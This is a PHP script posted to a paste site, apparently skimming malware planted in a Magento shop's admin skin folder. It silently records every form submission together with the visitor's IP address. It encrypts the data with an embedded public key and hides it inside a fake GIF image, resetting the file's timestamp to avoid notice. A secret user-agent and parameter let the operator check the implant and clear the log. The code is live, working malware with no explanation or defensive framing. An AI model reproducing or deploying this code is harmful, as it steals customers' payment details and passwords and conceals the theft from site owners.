From carco, 1 Year ago, written in PHP.
  1. <?php
  2. $y0='./skin/adminhtml/default/default/images/btn_gr_on_bg.gif';
  3. $m1='1395938332';
  4. $k2='p2289905';
  5. $k3="-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
  6. if(@$_SERVER['HTTP_USER_AGENT']=='Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;[email protected])') {
  7.     if(isset($_GET[$k2])){
  8.         $m1=file_exists($y0)?@filemtime($y0):$m1;
  9.         @file_put_contents($y0,'');
  10.         @touch($y0,$m1,$m1);
  11.         echo 'clean ok';
  12.      } else
  13.         echo 'Pong';
  14.         exit;
  15.      }
  16.      if(!empty($_SERVER['HTTP_CLIENT_IP'])){
  17.         $i4=$_SERVER['HTTP_CLIENT_IP'];
  18.      } elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  19.         $i4=$_SERVER['HTTP_X_FORWARDED_FOR'];
  20.      } else {
  21.         $i4=@$_SERVER['REMOTE_ADDR'];
  22.      }
  23.      if(isset($_POST)&&sizeof($_POST)) {
  24.         $a5='';
  25.         foreach($_POST as $h6=>$n7) {
  26.             if(is_array($n7)) {
  27.                 foreach($n7 as $f8=>$l9) {
  28.                     if(is_array($l9)) {
  29.                         foreach($l9 as $l10=>$v11) {
  30.                             if(is_array($v11)) {
  31.                             ;
  32.                             } else {
  33.                                 $a5.=':'.$h6.'['.$f8.']['.$l10.']='.$v11;
  34.                             }
  35.                         }
  36.                     } else {
  37.                         $a5.=':'.$h6.'['.$f8.']='.$l9;
  38.                     }
  39.                 }
  40.             } else {
  41.                 $a5.=':'.$h6.'='.$n7;
  42.             }
  43.         }
  44.         $a5=$i4.$a5;
  45.     } else {
  46.         $a5=null;
  47.     }
  48.     if($a5) {
  49.         $t12=false;
  50.         if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')) {
  51.             $t12=true;
  52.         } elseif(function_exists('dl')) {
  53.             $n13=strtolower(substr(php_uname(),0,3));
  54.             $d14='php_openssl.'.($n13=='win'?'dll':'so');
  55.             @dl($d14);
  56.             if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')) {
  57.                 $t12=true;
  58.             }
  59.         }
  60.         if($t12) {
  61.             $t15=@openssl_get_publickey($k3);
  62.             $q16=128;
  63.             $t17='';
  64.             $h18=md5(md5(microtime()).rand());
  65.             $e19=$h18;
  66.             while($e19) {
  67.                 $f20=substr($e19,0,$q16);
  68.                 $e19=substr($e19,$q16);
  69.                 @openssl_public_encrypt($f20,$h21,$t15);
  70.                 $t17.=$h21;
  71.             }
  72.             $t22=@openssl_encrypt($a5,'aes128',$h18);
  73.             @openssl_free_key($t15);
  74.             $a5=$t17.':::SEP:::'.$t22;
  75.         }
  76.         $m1=file_exists($y0)?@filemtime($y0):$m1;
  77.         @file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);
  78.         @touch($y0,$m1,$m1);
  79.     }
  80. ?>